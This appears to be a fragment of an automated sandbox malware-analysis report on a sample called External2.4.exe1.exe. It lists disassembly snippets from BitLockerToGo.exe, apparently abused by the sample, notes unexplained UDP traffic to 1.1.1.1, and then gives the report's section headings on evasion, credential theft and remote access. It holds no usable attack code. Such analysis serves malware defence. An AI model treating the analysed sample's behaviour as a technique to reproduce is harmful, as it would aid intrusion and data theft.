Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_004CA290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	3_2_0050C340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	3_2_0050C340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1Ch]	3_2_004EFB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004F33D1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+08h], ecx	3_2_004F73E6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004F73E6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	3_2_0050C440
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	3_2_0050C440
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004F8C3D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004F8C3D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+139ACDDAh]	3_2_004F0C37
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+10h]	3_2_004E24F7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [ebp-14h], ecx	3_2_004E7C92
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], si	3_2_004E7C92
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea eax, dword ptr [edi+02h]	3_2_004E7C92
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_004E7C92
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004F2C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	3_2_0050C550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	3_2_0050C550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-72F2D64Eh]	3_2_004CC550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-20h]	3_2_004E3A8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [eax+00000270h]	3_2_004CBD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-166AD591h]	3_2_004E6520
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], al	3_2_004D2536
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+08h], esi	3_2_0050BD2C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+08h], ecx	3_2_004F65C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004F65C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0000008Ah]	3_2_004EDDDD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+50h]	3_2_004EDDDD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	3_2_0050C5F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	3_2_0050C5F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-4122E20Eh]	3_2_00508D80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+00000128h]	3_2_004DF595
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edx+ecx+02h], 0000h	3_2_004DF595
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 744E5843h	3_2_00508E40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-4122E1FAh]	3_2_00508E40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+esi-4122E20Eh]	3_2_00508E40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	3_2_0050E670
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 656D2358h	3_2_004DBDE2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-4122E0FAh]	3_2_004DBDE2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [edi+edx-694C277Eh]	3_2_004F8EE5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_004F8EE5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_004F46F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	3_2_0050C680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	3_2_0050C680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	3_2_004F1F56
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-34937B78h]	3_2_004CBF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+08h], edi	3_2_004F6FE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+esi]	3_2_004C2790
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004F27A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 3FDB1228h	3_2_004D0FB6

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report External2.4.exe1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
External2.4.exe1.exe